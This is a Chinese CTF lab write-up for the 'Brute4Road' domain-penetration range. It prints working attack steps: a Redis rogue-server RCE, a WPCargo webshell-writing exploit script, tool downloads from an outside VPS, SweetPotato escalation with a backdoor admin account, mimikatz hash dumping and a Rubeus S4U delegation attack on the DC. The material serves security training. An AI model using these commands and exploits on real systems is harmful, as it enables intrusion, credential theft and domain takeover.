本文主要是介绍春秋云境-Brute4Road 【详细解析】,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
靶标介绍:
Brute4Road是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。
内网地址 | Host or FQDN | 简要描述 |
---|---|---|
172.22.2.7 | 外网 Redis 服务器 | |
172.22.2.18 | UBUNTU-WEB02 | WordPress 服务器 |
172.22.2.16 | MSSQLSERVER.xiaorang.lab | MSSQL 数据库 |
172.22.2.34 | CLIENT01.xiaorang.lab | 远程桌面服务未启用 NLA 的主机 |
172.22.2.3 | DC.xiaorang.lab | DC |
开题
Flag1
信息搜集
搜集靶标信息,有两种可行的方式,nmap和fscan
nmap是一款非常强大的主机发现和端口扫描工具,而且nmap运用自带的脚本,还能完成漏洞检测,同时支持多平台。
nmap -p 21,22,80,443,8080,6379,3306,5432,5000,8081,9000,27017,27018 -sCV -oN nmap_detailed_scan_Jay17.txt 【IP】
fscan是一款用go语言编写的开源工具,一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。该工具支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis 批量写公钥、计划任务反弹 shell、读取 win 网卡信息、web 指纹识别、web 漏洞扫描、netbios 探测、域控识别等功能。
fscan.exe -h 【IP】
发现有个ftp匿名登录,但是只有一个空的pub文件夹,没啥用。
同时发现开放6379有redis的未授权,重点看redis。
Redis 主从复制RCE
在内网中很容易遇见Redis未授权漏洞
redis 版本是 5.0.12,虽然版本大于5.0.5(有可能扫出来是错的),分析后发现应该是打 Redis 主从复制RCE
注:redis主从RCE打多了会出现redis瘫痪的情况,所以不到万不得已,尽量不要打主从
参考文章:
Redis系列漏洞总结 - FreeBuf网络安全行业门户
Redis未授权四种利用方式与修复方案_redis未授权访问漏洞修复建议-CSDN博客
工具:
https://github.com/n0b0dyCN/redis-rogue-server
Windows下或者Linux下运行(不知道咋的,我的kali用不了只能用vps跑)
python3 redis-rogue-server.py --rhost 【Target-IP】 --lhost 【VPS-IP】 --lport 21002
拿到shell之后输入下面的命令,创建一个伪终端。
python -c 'import pty; pty.spawn("/bin/bash")'
为什么要建立伪终端呢,主要是tty的原因,tty有什么用可以看我这篇文章:Polar 这又是一个上传_polar 自由的文件上传系统-CSDN博客
伪终端建不建对这题影响不大,是个习惯。
此外,使用 msf 也可以打 Redis 主从复制RCE。
在/home/redis/flag
目录下发现了flag,但是没有权限读取,八九不离十要提权了
Base64提权
首先是提权起手式,查找具备suid权限的命令:
find / -user root -perm -4000 -print 2>/dev/null
比较明显的是base64
利用 base64进行 suid 提权(这种提权只能读取文件)
base64 "/home/redis/flag/flag01" | base64 --decode
Flag2
我们在自己的vpn起一个web服务(我喜欢用python),然后我们将要用到的工具wget传过去(fscan(漏洞扫描)、frp(流量代理,后来因为不稳定换成了gost)、wpscan(wordpress漏洞扫描,kali自带)
服务器执行命令:
cd /root/Jay17/1-nwst
chmod 777 -R ./
python3 -m http.server 9023
跳板机(Redis服务所在主机)执行命令:
cd /tmpwget http://124.71.147.99:9023/frp/frpc
wget http://124.71.147.99:9023/frp/frpc.ini
wget http://124.71.147.99:9023/fscanlschmod 777 fscan
chmod 777 frpc
chmod 777 frpc.ini
刚刚getshell的那台主机(Redis)作为我们的跳板机。
我们先把代理挂上,简单配置一下
内网穿透frp下载安装及配置(自动化测试报告利器)-CSDN博客
frp内网穿透_frp下载-CSDN博客
代理服务器客户端Proxifier使用教程 Proxifier图文设置 - DoubleLi - 博客园 (cnblogs.com)
frpc.ini
[common]
server_addr = 124.71.147.99
server_port = 17000[plugin_socks6]
type = tcp
remote_port = 10000
plugin = socks5
frps.ini
[common]
bind_port = 17000
服务器(服务端,所以是frps)上开frp服务端监听
nohup ./frps -c ./frps.ini
靶机(客户端,所以是frpc)开frp
nohup ./frpc -c ./frpc.ini
Proxifier左上角配置文件->代理服务器-添加
设置一下代理为我的VPS124.71.147.99
。这里的端口是frpc.ini里面配置的socks5端口,也就是10000
配置一下代理规则,主要是:动作换成socks5,目标主机换成172.22.2.*
在物理机浏览器访问内网地址(在后文内网扫描步骤得到的),代理成功!
frp(反向代理)有点不稳定(后面远控靶机windows经常掉),使用gost(正向代理)进行代理。
redis服务所在的主机已经getshell了,传好文件设置好777权限后,执行以下命令:(真是方便又好用,谢谢chu0✌)
./gost -L=:10001 &
直接代理到靶机(比frp省了一个VPS的步骤)
内网扫描
内网渗透主要是基于前期外围打点getshell的webserver,通过收集webserver上的信息,然后对其他内网主机进行口令上的攻击,当然也有一些基于漏洞的攻击。同一域内的主机不计其数,域用户不计其数,为了便于记忆和管理,域成员的密码很多都会有重合。当我们拿到某个域成员的密码,就可以利用它把口子越撕越大,不断丰富我们的密码字典,然后不断地对域内主机进行爆破,直至拿下DC(域控)。
如果你是第一次接触内网渗透,以下的文章可能可以帮助你理解基本概念:
浅谈内网渗透基础知识(一) - FreeBuf网络安全行业门户
如何从零构建对内网穿透的理解-CSDN博客
手把手教你如何进行内网渗透-CSDN博客
内网渗透初探(一) | 小白简单学习内网渗透 - 先知社区 (aliyun.com)
Vulnstack(一)_vulnstack1-CSDN博客
内网渗透之代理转发 - FreeBuf网络安全行业门户
本机没有 ifconfig 命令无法查看ip,这里使用netstat -ano命令来查看网段,这个命令本意是查看端口开放情况。
netstat -ano
当然也可以传个 cdk 执行 ifconfig 命令./cdk ifconfig
可以看到本机内网ip为172.22.2.7
使用fscan进行内网漏洞扫描
./fscan -h 172.22.2.0/24 -o res.txt
结果
./fscan -h 172.22.2.0/24 -o res.txt___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.4
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.2.18 is alive
(icmp) Target 172.22.2.7 is alive
(icmp) Target 172.22.2.3 is alive
(icmp) Target 172.22.2.16 is alive
(icmp) Target 172.22.2.34 is alive
[*] Icmp alive hosts len is: 5
172.22.2.7:6379 open
172.22.2.16:1433 open
172.22.2.34:445 open
172.22.2.16:445 open
172.22.2.3:445 open
172.22.2.18:445 open
172.22.2.34:139 open
172.22.2.16:139 open
172.22.2.3:139 open
172.22.2.34:135 open
172.22.2.18:139 open
172.22.2.3:135 open
172.22.2.16:135 open
172.22.2.16:80 open
172.22.2.18:22 open
172.22.2.7:80 open
172.22.2.7:22 open
172.22.2.7:21 open
172.22.2.18:80 open
172.22.2.3:88 open
[*] alive ports len is: 20
start vulscan
[*] NetInfo
[*]172.22.2.3[->]DC[->]172.22.2.3
[*] NetInfo
[*]172.22.2.16[->]MSSQLSERVER[->]172.22.2.16
[*] WebTitle http://172.22.2.16 code:404 len:315 title:Not Found
[*] NetBios 172.22.2.34 XIAORANG\CLIENT01
[*] NetInfo
[*]172.22.2.34[->]CLIENT01[->]172.22.2.34
[*] WebTitle http://172.22.2.7 code:200 len:4833 title:Welcome to CentOS
[*] OsInfo 172.22.2.3 (Windows Server 2016 Datacenter 14393)
[*] OsInfo 172.22.2.16 (Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.2.18 WORKGROUP\UBUNTU-WEB02
[*] NetBios 172.22.2.16 MSSQLSERVER.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.2.3 [+] DC:DC.xiaorang.lab Windows Server 2016 Datacenter 14393
[+] ftp 172.22.2.7:21:anonymous [->]pub
[*] WebTitle http://172.22.2.18 code:200 len:57738 title:又一个WordPress站点
已完成 20/20
[*] 扫描结束,耗时: 12.67817925s
整理一下内网主机
172.22.2.3 DC
172.22.2.7 本机
172.22.2.16 MSSQLSERVER
172.22.2.18 WordPress站点
172.22.2.34 XIAORANG\CLIENT01
看结果,有个wordpress,是漏洞点。
WPCargo插件<6.9.0 未授权RCE
接下来使用wpscan工具扫描wordpress站点,发现公开漏洞
修改kali的代理(这步使用的还是frp进行代理)
vim /etc/proxychains4.conf
kali运行wpscan
proxychains4 wpscan --url http://172.22.2.18 2>/dev/null
发现使用了一个插件:wpcargo
漏洞参考文章:
https://wpscan.com/vulnerability/5c21ad35-b2fb-4a51-858f-8ffff685de4a
https://github.com/biulove0x/CVE-2021-25003
利用脚本写入木马:
import sys
import binascii
import requests# This is a magic string that when treated as pixels and compressed using the png
# algorithm, will cause <?=$_GET[1]($_POST[2]);?> to be written to the png file
payload = '2f49cf97546f2c24152b216712546f112e29152b1967226b6f5f50'def encode_character_code(c: int):return '{:08b}'.format(c).replace('0', 'x')text = ''.join([encode_character_code(c) for c in binascii.unhexlify(payload)])[1:]destination_url = 'http://172.22.2.18/'
cmd = 'ls'# With 1/11 scale, '1's will be encoded as single white pixels, 'x's as single black pixels.
requests.get(f"{destination_url}wp-content/plugins/wpcargo/includes/barcode.php?text={text}&sizefactor=.090909090909&size=1&filepath=/var/www/html/webshell.php"
)# We have uploaded a webshell - now let's use it to execute a command.
print(requests.post(f"{destination_url}webshell.php?1=system", data={"2": cmd}
).content.decode('ascii', 'ignore'))
因为做好代理了,所以直接在物理机上执行脚本:
浏览器访问http://172.22.2.18/webshell.php?1=system
,发现成功写入后门
蚁剑连接getshell
使用刚刚生成的后门连接蚁剑,注意类型要选择 CMDLINUX。(V2.1.14新增,适配这种后门木马,可以看这篇文章:Releases · AntSwordProject/antSword (github.com))
文件中没flag,猜测flag在数据库中。查看wp-config.php文件,得到数据库用户密码。
连接数据库,可以先检测一下再连
找到flag2。
数据库中还找到一些密码,先留存下来
Flag3
MSSQLSERVER密码爆破
还记得内flag2网扫描阶段发现的主机172.22.2.16 MSSQLSERVER
吗,我们尝试用上面获得的密码本爆破下MSSQLSERVER的密码。
默认用户sa,爆破得到密码ElGNkOiC
默认端口1433,Multiple.Database.Utilization.Tools工具连接MSSQLSERVER
连成功之后激活所有组件,编码选择GBK,之后就可以执行命令了
甜土豆提权
Multiple.Database.Utilization.Tools工具连接MSSQLSERVER和土豆提权是高度绑定的,同时目前用户是mssqlserver,权限太低。所以下一步甜土豆提权到system。
右键上传甜土豆到public目录
执行命令。提权成功!
C:/Users/Public/SweetPotato.exe -a "whoami"
尝试新加用户jay17,密码为whoami@666
net user jay17 whoami@666 /add
并将用户jay17加到管理组,赋予最高权限
net localgroup administrators jay17 /add
远程桌面连接
具备管理组用户jay17后,我们尝试远程桌面连接
使用刚刚创建的用户密码
在Administrators用户目录下发现flag3
Flag4
域信息搜集
执行命令systeminfo
,发现域环境xiaorang.lab
kali安装,neo4j是个数据库,bloodhound是工具。
apt install neo4j
apt install bloodhound
BloodHound是一款可视化图形分析域环境中的关系的工具,以用图与线的形式,将域内用户、计算机、组、Sessions、ACLs以及域内所有相关用户、组、计算机、登陆信息、访问控制策略之间的关系更直观的展现在红队人员面前进行更便捷的分析域内情况,更快速的在域内提升自己的权限。它也可以使蓝队成员对己方网络系统进行更好的安全检测及保证域的安全性。
Neo4j是一款NOSQL图形数据库,它将结构化数据存储在网络上而不是表中,Bloodhound利用这种特性加以合理分析,可以更加直观的将数据以节点空间”来表达相关数据。BloodHound通过在域内导出相关信息,在将数据收集后,将其导入Neo4j数据库中,进行展示分析。
执行以下命令,进入neo4j控制台,端口7474,默认账号密码neo4j/neo4j
neo4j console
修改下neo4j的默认密码,之后用bloodhound连接一下neo4j
利用system权限,SharpHound工具搜集域信息上传 SharpHound.exe工具,进行域环境分析
C:/Users/Public/SweetPotato.exe -a "C:/Users/jay17/Desktop/SharpHound.exe -c all"
生成的文件(包含了域信息)复制出来
kali中bloodhound打开,得到一张图
我们现在位于MSSQLSERVER.XIAORANG.LAB。
AllowedToDelegate
MSSQLSERVER 配置了到 DC LDAP 和 CIFS 服务的约束性委派,可以用Rubeus申请自身的服务票据,通过 S4U 协议伪造高权限 ST 拿下域控
约束委派攻击
上传minikatz到MSSQLSERVER服务所在靶机,读取域用户哈希
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords"" exit
Username : MSSQLSERVER$
NTLM : ff8c8dd5d4b745cf83b34caa1ffe3db5
用Rubeus.exe申请用户MSSQLSERVER的TGT票据
-
TGT(Ticket Granting Ticket):
- 在计算机安全和身份验证(如Kerberos协议)中,TGT通常指Ticket Granting Ticket。这是一种用于用户身份验证的票证。用户在成功验证身份后,会收到TGT,然后用它来请求访问特定服务的票证,而不需要再次输入密码。
-
ST(Service Ticket):
- 同样在Kerberos等身份验证系统中,ST通常指Service Ticket。TGT用于请求ST,ST则用于访问特定服务。用户通过TGT获取ST后,使用ST访问目标服务。
.\Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:ff8c8dd5d4b745cf83b34caa1ffe3db5 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap > 1.txt
打开1.txt,复制票据的base64编码
通过Rubeus的S4U2Self协议代表域管理员申请针对域控LDAP服务的票据并注入内存
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE1tP8AzBwuBATLNy9q2ZXt/9Kjhm7jqe1T0spzJcp95hzCUx/J81bu4tUftiEul1sBPC6g8DMPc8iHiyutFpHs/oo4gzdUf8Ao0D5li8RNRR59hedFOIAO5NUcCX/naBydvUDybfesO2xvW3bvC7oDL6+iFOYlbNx75sXfp7VDJTY0PeN8wMxWjxgYe4LmnxBt2xBjBNN6JWR8LIzFEOWga0C76kSktrKgsROJSncs3rgGO+IHZ5g/qhz0AMX9pywJwrvo3+pMQy8gTqhLFViUVE9Ct+hmxcQI5N1Nii+khmkPRp+kmEhvOVBJ0eV82sk+vMFNjZT9ZDEEWn1j2J3NXE7gAdNhSPHXuItawwy44gxx2zJ1nNPNujCaDsKLkR2zcT77yqhlUURJY3UIwMGylnd5Fy2w9XrxFJhv2sAgJkx7HcmDkJPnU4POE3WcpjdsMatzyah89XuqU6O9iVTXYXz22NNpbwWiFrwjbRIP6ndlrkxXYrOSq1aVCf68Cv0F8GyM/m3VFTv361+RK/uAytpRLiL8bhKrbDrSDwteduTlvfq/AI5HlYcOZVKrQQtFxPCWgyQttINccHjsIYKpCBhwihHhiot1WG9pAaZV8DlVVo2DU7wjn2TLQmm6xAOVBuvydZwzo3rX5JG0VuZ3pqmyMTIlrbCDMbr6KXoDtRDpq7nokItjsJHUHPWFMqv81uP3wiAp6PK9Bb6E/YNxBtg9kCP8JzwBe8lqbIqK+D/EJ6IMbGa9Oydj4rp4u3Sg5z1mzg3bUSIoTyalYoYpaA/QGMMd9LAfImPbOtya8Op6cqeK4JFGBulD+X6obkhxkUdTeezdRAO7B9NgrW97+vUJq54f5Axhx1xil3XqM95370ys1kJx71AtAWTKuffAqOFay3NU+TLctuiLgl4SLJ5zRnlCYB5tMCiOcx6X2/OO1BblWMnGsuRXM+wFG22ylBirh8snTDm1C2bzkqOab78fh4EclrimYVR8p+fv6l2+94Z9Z4nJfULD8P20j9L4g3jGcgIubRa4K+/eBiA5fk88AUF5ODlkGBfiBx20pMROEcJB6SfwDdO8S8WwE/QlFi5OkYK+hqBVnOn981b4SqK5J+GitJDJ2Fg/augqe47SXi6Bdn571RGW8UDMUziR1V0J9edvZdQvI4gsusf1cO0YY3Wp59V8rcjbPTPBiBF4btFGnB3OnFyeUa4rN7ogHQPfGslvOXZ4AdAiUPe2XKhJ0uT99hMk6GeEgA4B12vi23ZR7dBmi0fesK5XLkgcz5oZWlVCD/ZmHTG25BeQTNfZNW0ilev8WBdA/hGcCemDXfu4uMLZt3uuIHJYTfJZjQJ82758W0BoAL5fsS/VN2tG488hulVFXjAfxEBG1T6Xz+/QK7BBbXGbFmz231qBQesXqWoi7o3XUXlneTvuchEd0YwEQ//j7PTmKw6bO88ypYh3DpHnv+e2RI+KjgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBAG7KNH5/AVN0DqYMNnVLEQoQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDI0MDgxMjE5MjcxOVqmERgPMjAyNDA4MTMwNTI3MTlapxEYDzIwMjQwODE5MTkyNzE5WqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg==
\\DC.xiaorang.lab\C$
查看域控C盘下\Users\Administrator
路径的文件结构
dir \\DC.xiaorang.lab\C$\Users\Administrator
获取flag文件内容
type \\DC.xiaorang.lab\C$\Users\Administrator\flag\flag04.txt
OK,收工
这篇关于春秋云境-Brute4Road 【详细解析】的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!